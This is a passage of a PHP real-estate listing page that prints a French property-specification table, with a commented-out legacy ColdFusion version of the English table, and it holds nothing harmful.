	echo '<td style="text-align:center;padding:2px;">'.($Bathrooms !== '' ?  $Bathrooms : "Non disponible").'</td>';
	echo '<td style="text-align:center;padding:2px;">'.($FloorFR !== '' ?  mb_convert_encoding($FloorFR, "UTF-8", "HTML-ENTITIES") : "Non disponible").'</td></tr>';


////////// RANGÉE 2
	echo '<tr><td style="text-align:center;padding:2px;"><b>Plomberie</b></td>';
	echo '<td style="text-align:center;padding:2px;"><b>Installation électrique</b></td>';
	echo '<td style="text-align:center;padding:2px;"><b>Type de chauffage</b></td></tr>';

	echo '<tr><td style="text-align:center;padding:2px;">'.$PlumbingFR.'</td>';
	echo '<td style="text-align:center;padding:2px;">'.$WiringDescFR.'</td>';
	echo '<td style="text-align:center;padding:2px;">'.($HeatingDescFR !== '' ?  mb_convert_encoding($HeatingDescFR, "UTF-8", "HTML-ENTITIES") : "Non disponible").'</td></tr>';

////////// RANGÉE 3
	echo '<tr><td style="text-align:center;padding:2px;"><b>Sous-Sol</b></td>';
	echo '<td style="text-align:center;padding:2px;"><b>Solarium</b></td>';
	echo '<td style="text-align:center;padding:2px;"><b>Type de climatisation</b></td></tr>';

	echo '<tr><td style="text-align:center;padding:2px;">'.$BasementFR.'</td>';
	echo '<td style="text-align:center;padding:2px;">'.$SunroomFR.'</td>';
	echo '<td style="text-align:center;padding:2px;">'.$AirConditioningTypeFR.'</td></tr>';





if ($ItemsFR !== '')
{	
	echo '<tr><th colspan="3" style="background: #890D05; padding:4px;font-size:16px;color:white;padding:2px;">ITEMS INCLUS</th></tr>
	<tr><td colspan="3" style="padding:2px;">'.mb_convert_encoding($ItemsFR, "UTF-8", "HTML-ENTITIES").'</td></TR>';
}

if ($CommentsFR !== '' || $RentRemarksFR !== '')
{	
	echo '<tr><th colspan="3" ALIGN="center"style="background: #890D05; padding:4px;font-size:16px;color:white;padding:2px;">COMMENTAIRES</th></tr>';
	echo '<tr><td colspan="3" style="padding:2px;">'.($ListingType == 9 ?  $CommentsFR :  $RentRemarksFR).'</td></TR>';
}	

echo '</table><p style="font-size:10px;">Aucune responsabilité ne sera assumée pour l&apos;exactitude des informations ci-haut mentionnées.</p></div>';

}		

	 
	

	
	
	
	

	
	
	
	
	
	
	
	

/*
<CFIF LG EQ 'en'>
<div align="center"><table cellspacing="0" cellpadding="0" class="texte2" WIDTH="100%" style=" border-color: black; border-style:solid; border-width: thin;">
<cfif #load_specs.dwelling# is 15>
<tr><td colspan="3" ALIGN="center" class="texte2" style="padding:4px;"><font size="+1" COLOR="800000">LOT SPECIFICATION</font></td></tr>
<TR>
<td WIDTH="33%" class="texte2" style="height:22px; background-color:##DBDBDB; border-top-color: black; border-top-style:solid; border-top-width: thin; border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><b>Lot Size</b></TD>
<td WIDTH="33%" class="texte2" style="height:22px; background-color:##DBDBDB; border-top-color: black; border-top-style:solid; border-top-width: thin; border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><b>Services (Water & Sewage)</b></TD>
<td WIDTH="33%" class="texte2" style="height:22px; background-color:##DBDBDB; border-top-color: black; border-top-style:solid; border-top-width: thin; text-align:center;"><b>Zonage</b></TD></TR>

<TR><TD class="texte2" style=" border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><cfif #trim("#load_specs.lot_size#")# gt ''>&plusmn;#load_specs.lot_size#
<CFIF #load_specs.lot_size_sys# is 2>Sq.ft.
<CFELSEIF #load_specs.lot_size_sys# is 3>Acres</CFIF><cfelse>Not available</cfif> <cfif #trim("#load_specs.lot_size_metric#")# gt ''>(&plusmn;#load_specs.lot_size_metric# <CFIF #load_specs.lot_size_sys# is 1>m</CFIF><CFIF #load_specs.lot_size_sys# is 2>m<sup>2</sup></CFIF><CFIF #load_specs.lot_size_sys# is 3>ha</CFIF>)</cfif></TD>

<td class="texte2" style=" border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><cfif #load_specs.sewage# is 1>Municipal</cfif>
<cfif #load_specs.sewage# is 2>Private</cfif>
<cfif #load_specs.sewage# is 3>Park</cfif>
<cfif #load_specs.sewage# is 4>No Service</cfif></TD>

<td class="texte2" style="text-align:center;">#load_specs.zoningen#</TD></TR>




<TR>
<td WIDTH="33%" class="texte2" style="height:22px; background-color:##DBDBDB; border-top-color: black; border-top-style:solid; border-top-width: thin; border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><b>Assessed Value</b></TD>
<td WIDTH="33%" class="texte2" style="height:22px; background-color:##DBDBDB; border-top-color: black; border-top-style:solid; border-top-width: thin; border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><b><CFIF rent NEQ 1>Property Taxes<CFELSE>Security Deposit</CFIF></b></TD>
<td WIDTH="33%" class="texte2" style="height:22px; background-color:##DBDBDB; border-top-color: black; border-top-style:solid; border-top-width: thin; text-align:center;"><b><CFIF rent NEQ 1>Price<cfif #load_specs.HST# EQ 1> (Plus HST)</CFIF><CFIF #load_specs.price_txt# GT 0> (<cfif #load_specs.price_txt# is 1>Negotiable</CFIF><cfif #load_specs.price_txt# is 2>Non Negotiable</CFIF>)</CFIF><CFELSE>Cost</CFIF></b></TD></TR>

<TR><TD class="texte2" style=" border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><CFIF #load_specs.assessed_txt# GT 0>Not available<CFELSE><cfif #trim("#load_specs.assessed_value#")# NEQ 0>$#LSNumberFormat(load_specs.assessed_value)#<cfelse>Not available</cfif></cfif></TD>

<td class="texte2" style=" border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><CFIF #load_specs.propertytax_txt# GT 0>Not available<CFELSE><CFIF rent NEQ 1><cfif #trim("#load_specs.property_taxes#")# gt ''>$#LSNumberFormat(load_specs.property_taxes)#<cfelse>Not available</cfif><CFELSE>$#LSNumberFormat('#load_specs.security_deposit#')#</CFIF></CFIF></td>

<td class="texte2" style="text-align:center;"><CFIF load_specs.confidentiel EQ 0><CFIF rent NEQ 1><CFIF #load_specs.price# LT #load_specs.initial_price#>$#LSNumberFormat('#load_specs.initial_price#')# reduced to $#LSNumberFormat('#load_specs.price#')#<CFELSE>$#LSNumberFormat('#load_specs.price#')#</CFIF><CFELSE>$#LSNumberFormat('#load_specs.rent_value#')#/month</CFIF><CFELSE>Confidential</CFIF></td></TR>







<cfelse>
<tr><td colspan="3" ALIGN="center" style=""><font size="+1" COLOR="800000">PROPERTY SPECIFICATIONS</font></td></tr>

<tr>
<td WIDTH="33%" class="texte2" style="height:22px; background-color:##DBDBDB; border-top-color: black; border-top-style:solid; border-top-width: thin; border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><b>Type of Dwelling</b></TD>
<td WIDTH="33%" class="texte2" style="height:22px; background-color:##DBDBDB; border-top-color: black; border-top-style:solid; border-top-width: thin; border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><b>House Size</b></TD>
<td WIDTH="33%" class="texte2" style="height:22px; background-color:##DBDBDB; border-top-color: black; border-top-style:solid; border-top-width: thin; text-align:center;"><b>Lot Size</b></TD></TR>

<TR><TD class="texte2" style=" border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><cfif #load_specs.dwelling# is 1>Bungalow
							<cfelseif #load_specs.dwelling# is 2>Split Entry
							<cfelseif #load_specs.dwelling# is 3>Split Level
							<cfelseif #load_specs.dwelling# is 4>1 1/2 Story
							<cfelseif #load_specs.dwelling# is 5>2 Story
							<cfelseif #load_specs.dwelling# is 6>2 1/2 Story
							<cfelseif #load_specs.dwelling# is 7>Semi-Detached
							<cfelseif #load_specs.dwelling# is 8>Duplex
							<cfelseif #load_specs.dwelling# is 9>Trailer House
							<cfelseif #load_specs.dwelling# is 10>Mini-Home
							<cfelseif #load_specs.dwelling# is 11>Condo/Town House
							<cfelseif #load_specs.dwelling# is 13>Multi Apt Complex
							<cfelseif #load_specs.dwelling# is 14>Cottage/Camp
							<cfelseif #load_specs.dwelling# is 15>Vacant Lot
							<cfelseif #load_specs.dwelling# is 16>Other
							<cfelseif #load_specs.dwelling# is 17>A-Frame
							<cfelseif #load_specs.dwelling# is 21>Appartement
							<cfelseif #load_specs.dwelling# is 18>Commercial							
					<cfelse>
					Not available
					</cfif></td>


<td class="texte2" style=" border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><cfif #trim("#load_specs.house_size#")# gt ''>&plusmn;#load_specs.house_size#
<CFIF #load_specs.house_size_sys# is 2>ft<sup>2</sup></CFIF><cfelse>Not available</cfif> <cfif #trim("#load_specs.house_size_metric#")# gt ''>(&plusmn;#load_specs.house_size_metric# m<sup>2</sup>)<cfelse></cfif></TD>

<td class="texte2" style="text-align:center;"><cfif #trim("#load_specs.lot_size#")# gt ''>&plusmn;#load_specs.lot_size#
<CFIF #load_specs.lot_size_sys# is 2>ft<sup>2</sup>
<CFELSEIF #load_specs.lot_size_sys# is 3>Acres</CFIF><cfelse>Not available</cfif> <cfif #trim("#load_specs.lot_size_metric#")# gt ''>(&plusmn;#load_specs.lot_size_metric# <CFIF #load_specs.lot_size_sys# is 1>m</CFIF><CFIF #load_specs.lot_size_sys# is 2>m<sup>2</sup></CFIF><CFIF #load_specs.lot_size_sys# is 3>ha</CFIF>)</cfif></TD></TR>


<!--- RANGÉE 2 --->

<TR>
<td WIDTH="33%" class="texte2" style="height:22px; background-color:##DBDBDB; border-top-color: black; border-top-style:solid; border-top-width: thin; border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><b>Age of Dwelling</b></TD>
<td WIDTH="33%" class="texte2" style="height:22px; background-color:##DBDBDB; border-top-color: black; border-top-style:solid; border-top-width: thin; border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><b>Basement</b></TD>
<td WIDTH="33%" class="texte2" style="height:22px; background-color:##DBDBDB; border-top-color: black; border-top-style:solid; border-top-width: thin; text-align:center;"><b>Roofing</b></TD></TR>


<TR><TD class="texte2" style=" border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><cfif #trim("#load_specs.age_dwelling#")# gt ''>&plusmn;#load_specs.age_dwelling#<cfelse>Not available</cfif></TD>
<td class="texte2" style=" border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><cfif #load_specs.basement# is 1>Finished
				<cfelseif #load_specs.basement# is 2>Partially Finished
				<cfelseif #load_specs.basement# is 3>Unfinished
				<cfelseif #load_specs.basement# is 4>Crawlspace
				<cfelseif #load_specs.basement# is 5>Other
				<cfelseif #load_specs.basement# is 6>No Basement
				<cfelse>Not available
				</cfif></td>

<td class="texte2" style="text-align:center;"> <cfif #load_specs.roofing_en# is not ''>#load_specs.roofing_en#<cfelse>
				<cfif #load_specs.roofing# is 1>Asphalt Shingle
				<cfelseif #load_specs.roofing# is 2>Tar - Gravel
				<cfelseif #load_specs.roofing# is 3>Metal Roof
				<cfelseif #load_specs.roofing# is 4>Wood Shingle
				<cfelseif #load_specs.roofing# is 5>Tin Roof
				<cfelseif #load_specs.roofing# is 6>Other
				<cfelse>
				Not available
				</cfif></cfif></td></tr>


<!--- RANGÉE 3 --->
<TR>
<td WIDTH="33%" class="texte2" style="height:22px; background-color:##DBDBDB; border-top-color: black; border-top-style:solid; border-top-width: thin; border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><b>Garage <cfif #trim("#load_specs.garage_Door#")# gt ''>
	<cfif #load_specs.garage_Door# EQ 1>(1 single door)</cfif>
	<cfif #load_specs.garage_Door# EQ 2>(2 single doors)</cfif>
	<cfif #load_specs.garage_Door# EQ 3>(1 double door)</cfif></cfif></b></TD>
<td WIDTH="33%" class="texte2" style="height:22px; background-color:##DBDBDB; border-top-color: black; border-top-style:solid; border-top-width: thin; border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><b>Driveway</b></TD>
<td WIDTH="33%" class="texte2" style="height:22px; background-color:##DBDBDB; border-top-color: black; border-top-style:solid; border-top-width: thin; text-align:center;"><b>Carport</b></TD></TR>

<TR><TD class="texte2" style=" border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><cfif #trim("#load_specs.garage_size_en#")#gt ''>#load_specs.garage_size_en#<cfelse>No</cfif>&nbsp;&nbsp;
		<cfif #load_specs.garage_location# is 1>Attached
		<cfelseif #load_specs.garage_location# is 2>Detached
		</cfif></TD>

<td class="texte2" style=" border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><cfif #load_specs.driveway# is 1>Paved
	<cfelseif #load_specs.driveway# is 2>Gravel										
	<cfelseif #load_specs.driveway# is 3>Crushed Stone
	<cfelseif #load_specs.driveway# is 4>Interlocked
	<cfelseif #load_specs.driveway# is 5>Concrete
	<cfelseif #load_specs.driveway# is 6>Gravel - Paved
	<cfelseif #load_specs.driveway# is 7>Other
	<cfelse>
	Not available
	</cfif></td>

<td class="texte2" style="text-align:center;"><cfif #trim("#load_specs.carport_size_en#")#gt ''>#load_specs.carport_size_en#<cfelse>No</cfif></td></tr>



<!--- RANGÉE 4 --->
<TR>
<td WIDTH="33%" class="texte2" style="height:22px; background-color:##DBDBDB; border-top-color: black; border-top-style:solid; border-top-width: thin; border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><b>Siding</b></TD>
<td WIDTH="33%" class="texte2" style="height:22px; background-color:##DBDBDB; border-top-color: black; border-top-style:solid; border-top-width: thin; border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><b>Window</b></TD>
<td WIDTH="33%" class="texte2" style="height:22px; background-color:##DBDBDB; border-top-color: black; border-top-style:solid; border-top-width: thin; text-align:center;"><b>Chimney</b></TD></TR>

<TR><TD class="texte2" style=" border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;">
				<cfif #load_specs.covering_siding_en# is not ''>#load_specs.covering_siding_en#<cfelse>
				<cfif #load_specs.covering_siding# is 1>Wood
				<cfelseif #load_specs.covering_siding# is 2>Masonite
				<cfelseif #load_specs.covering_siding# is 3>Vinyl
				<cfelseif #load_specs.covering_siding# is 4>Aluminium
				<cfelseif #load_specs.covering_siding# is 5>Steel
				<cfelseif #load_specs.covering_siding# is 6>Stucco
				<cfelseif #load_specs.covering_siding# is 7>Brick
				<cfelseif #load_specs.covering_siding# is 8>Stone
				<cfelseif #load_specs.covering_siding# is 9>Brick/Vinyl
				<cfelseif #load_specs.covering_siding# is 10>Stucco/Vinyl
				<cfelseif #load_specs.covering_siding# is 11>Vinyl/Other
				<cfelseif #load_specs.covering_siding# is 12>Canexel
				<cfelseif #load_specs.covering_siding# is 13>Canexel/Other
				<cfelseif #load_specs.covering_siding# is 14>Brick/Other
				<cfelseif #load_specs.covering_siding# is 15>Other
				<cfelseif #load_specs.covering_siding# is 16>Stone/Canexel
				<cfelseif #load_specs.covering_siding# is 17>Stucco/Masonite
				<cfelseif #load_specs.covering_trim# is 1>Wood
				<cfelseif #load_specs.covering_trim# is 2>Vinyl
				<cfelseif #load_specs.covering_trim# is 3>Aluminium
				<cfelseif #load_specs.covering_trim# is 4>Sulfit
				<cfelse>
				Not available
				</cfif></cfif></td>



<td class="texte2" style=" border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;">&nbsp;<cfif #load_specs.windows_en# is not ''>#load_specs.windows_en#<cfelse>
				<cfif #load_specs.windows# is 1>PVC
				<cfelseif #load_specs.windows# is 3>Wood
				<cfelseif #load_specs.windows# is 4>PVC/Wood
 				<cfelseif #load_specs.windows# is 5>Aluminium
				<cfelseif #load_specs.windows# is 7>Aluminium/PVC
				<cfelseif #load_specs.windows# is 6>Aluminium/Wood
				<cfelseif #load_specs.windows# is 8>Aluminium/Wood/PVC
				<cfelseif #load_specs.windows# is 9>Other
				<cfelse>
				Not available
				</cfif></cfif></td>



<td class="texte2" style="text-align:center;">
				<cfif #load_specs.chimney# is 1>Brick
				<cfelseif #load_specs.chimney# is 2>Cement Block
				<cfelseif #load_specs.chimney# is 3>Metal
				<cfelseif #load_specs.chimney# is 4>Selkirk
				<cfelseif #load_specs.chimney# is 5>Stone
				<cfelseif #load_specs.chimney# is 6>Other
				<cfelse>
				No
				</cfif>	</td></tr>


<!--- RANGÉE 5 --->
<TR>
<td WIDTH="33%" class="texte2" style="height:22px; background-color:##DBDBDB; border-top-color: black; border-top-style:solid; border-top-width: thin; border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><b>Assessed Value</b></TD>
<td WIDTH="33%" class="texte2" style="height:22px; background-color:##DBDBDB; border-top-color: black; border-top-style:solid; border-top-width: thin; border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><b><CFIF rent NEQ 1>Property Taxes<CFELSE>Security Deposit</CFIF></b></TD>
<td WIDTH="33%" class="texte2" style="height:22px; background-color:##DBDBDB; border-top-color: black; border-top-style:solid; border-top-width: thin; text-align:center;"><b><CFIF rent NEQ 1>Price<cfif #load_specs.HST# EQ 1> (Plus HST)</CFIF><CFIF #load_specs.price_txt# GT 0> (<cfif #load_specs.price_txt# is 1>Negotiable</CFIF><cfif #load_specs.price_txt# is 2>Non Negotiable</CFIF>)</CFIF><CFELSE>Cost</CFIF></b></TD></TR>

<TR><TD class="texte2" style=" border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><CFIF #load_specs.assessed_txt# GT 0>Not available<CFELSE><cfif #trim("#load_specs.assessed_value#")# NEQ 0>$#LSNumberFormat(load_specs.assessed_value)#<cfelse>Not available</cfif></cfif></TD>
<td class="texte2" style=" border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><CFIF #load_specs.propertytax_txt# GT 0>Not available<CFELSE><CFIF rent NEQ 1><cfif #trim("#load_specs.property_taxes#")# gt ''>$#LSNumberFormat(load_specs.property_taxes)#<cfelse>Not available</cfif><CFELSE>$#LSNumberFormat('#load_specs.security_deposit#')#</CFIF></CFIF></td>
<td class="texte2" style="text-align:center;"><CFIF load_specs.confidentiel EQ 0><CFIF rent NEQ 1><CFIF #load_specs.price# LT #load_specs.initial_price#>$#LSNumberFormat('#load_specs.initial_price#')# reduced to $#LSNumberFormat('#load_specs.price#')#<CFELSE>$#LSNumberFormat('#load_specs.price#')#</CFIF><CFELSE>$#LSNumberFormat('#load_specs.rent_value#')#/month</CFIF><CFELSE>Confidential</CFIF></td></TR>


<tr><td colspan="3" ALIGN="center" style=" border-top-color: black; border-top-style:solid; border-top-width: thin;"><font size="+1" COLOR="800000">INTERIOR</font></td></tr>

<!--- RANGÉE 1 --->
<TR>
<td WIDTH="33%" class="texte2" style="height:22px; background-color:##DBDBDB; border-top-color: black; border-top-style:solid; border-top-width: thin; border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><b>Number of Bedrooms</b></TD>
<td WIDTH="33%" class="texte2" style="height:22px; background-color:##DBDBDB; border-top-color: black; border-top-style:solid; border-top-width: thin; border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><b>Number of Bathrooms</b></TD>
<td WIDTH="33%" class="texte2" style="height:22px; background-color:##DBDBDB; border-top-color: black; border-top-style:solid; border-top-width: thin; text-align:center;"><b>Floor</b></TD></TR>

<TR><TD class="texte2" style=" border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><cfif #trim("#load_specs.bedrooms#")# gt ''>#load_specs.bedrooms#<cfelse>Not available</cfif></td>
<td class="texte2" style=" border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><cfif #trim("#load_specs.bathrooms#")# gt ''>#load_specs.bathrooms#<cfelse>Not available</cfif></td>
<td class="texte2" style="text-align:center;"><cfif #trim("#load_specs.floor_en#")# gt ''>#load_specs.floor_en#<cfelse>Not available</cfif></TD></TR>


<!--- RANGÉE 2 --->
<TR>
<td WIDTH="33%" class="texte2" style="height:22px; background-color:##DBDBDB; border-top-color: black; border-top-style:solid; border-top-width: thin; border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><b>Plumbing</b></TD>
<td WIDTH="33%" class="texte2" style="height:22px; background-color:##DBDBDB; border-top-color: black; border-top-style:solid; border-top-width: thin; border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;"><b>Wiring</b></TD>
<td WIDTH="33%" class="texte2" style="height:22px; background-color:##DBDBDB; border-top-color: black; border-top-style:solid; border-top-width: thin; text-align:center;"><b>Type of Heating</b></TD></TR>

<TR><TD class="texte2" style=" border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;">
				<cfif #load_specs.plumbing_en# is not ''>#load_specs.plumbing_en#<cfelse>
				<cfif #load_specs.plumbing# is 1>ABS - Copper<cfelseif #load_specs.plumbing# is 2>Mixed<cfelseif #load_specs.plumbing# is 3>Galvanized steel<cfelseif #load_specs.plumbing# is 4>Other<cfelseif #load_specs.plumbing# is 5>PEX<cfelseif #load_specs.plumbing# is 6>ABS - PEX<cfelse>Not available</cfif></cfif></TD>
<td class="texte2" style=" border-right-color: black; border-right-style:solid; border-right-width: thin; text-align:center;">
				<cfif #load_specs.wiring_1# is 1>110 Volts</cfif>
				<cfif #load_specs.wiring_1# is 2>220 Volts</cfif>			
				&nbsp;&nbsp;				
				<cfif #load_specs.wiring_2# is 1>100+60 Amps</cfif>
				<cfif #load_specs.wiring_2# is 2>100 Amps</cfif>		
				<cfif #load_specs.wiring_2# is 3>125 Amps</cfif>
				<cfif #load_specs.wiring_2# is 4>200 Amps</cfif>
				<cfif #load_specs.wiring_2# is 5>Other</cfif>
   				&nbsp;&nbsp;
				<cfif #load_specs.wiring_3# is 1>Fuses</cfif>
				<cfif #load_specs.wiring_3# is 2>Breakers</cfif>
				</td>
<td class="texte2" style="text-align:center;"><cfif #trim("#load_specs.type_heating#")# gt ''>#load_specs.type_heating#<cfelse>Not available</cfif></td></tr>
</cfif>


<cfif (#trim("#load_specs.Items_en#")# gt '')>
<tr><td colspan="3" id="texte3" style=" border-top-color: black; border-top-style:solid; border-top-width: thin;">INCLUDED ITEMS</td></tr>
<tr><td colspan="3"><TABLE BORDER="0" CELLPADDING="8" CELLSPACING="0" WIDTH="100%">
<TR><TD id="texte" BGCOLOR="##FFFFFF" style=" border-top-color: black; border-top-style:solid; border-top-width: thin;">#load_specs.Items_en#</td></tr></TABLE></td></TR></cfif>

<cfif (#trim("#load_specs.commentaires_fr#")# gt '') or (rent EQ 1)>
<tr><td colspan="3" ALIGN="center" style=" border-top-color: black; border-top-style:solid; border-top-width: thin; padding:4px;"><font size="+1" COLOR="800000">REMARKS</font></td></tr>
<tr><td colspan="3"><TABLE BORDER="0" CELLPADDING="8" CELLSPACING="0" WIDTH="100%" bordercolor="black">
<TR><TD class="texte" style=" border-top-color: black; border-top-style:solid; border-top-width: thin;"><CFIF rent NEQ 1>#load_specs.commentaires#<CFELSE>#load_specs.rentremarks_en#</CFIF></td></tr></TABLE></td></TR></cfif>
*/	
	


	
	

?>	
</body>
</html>

Hry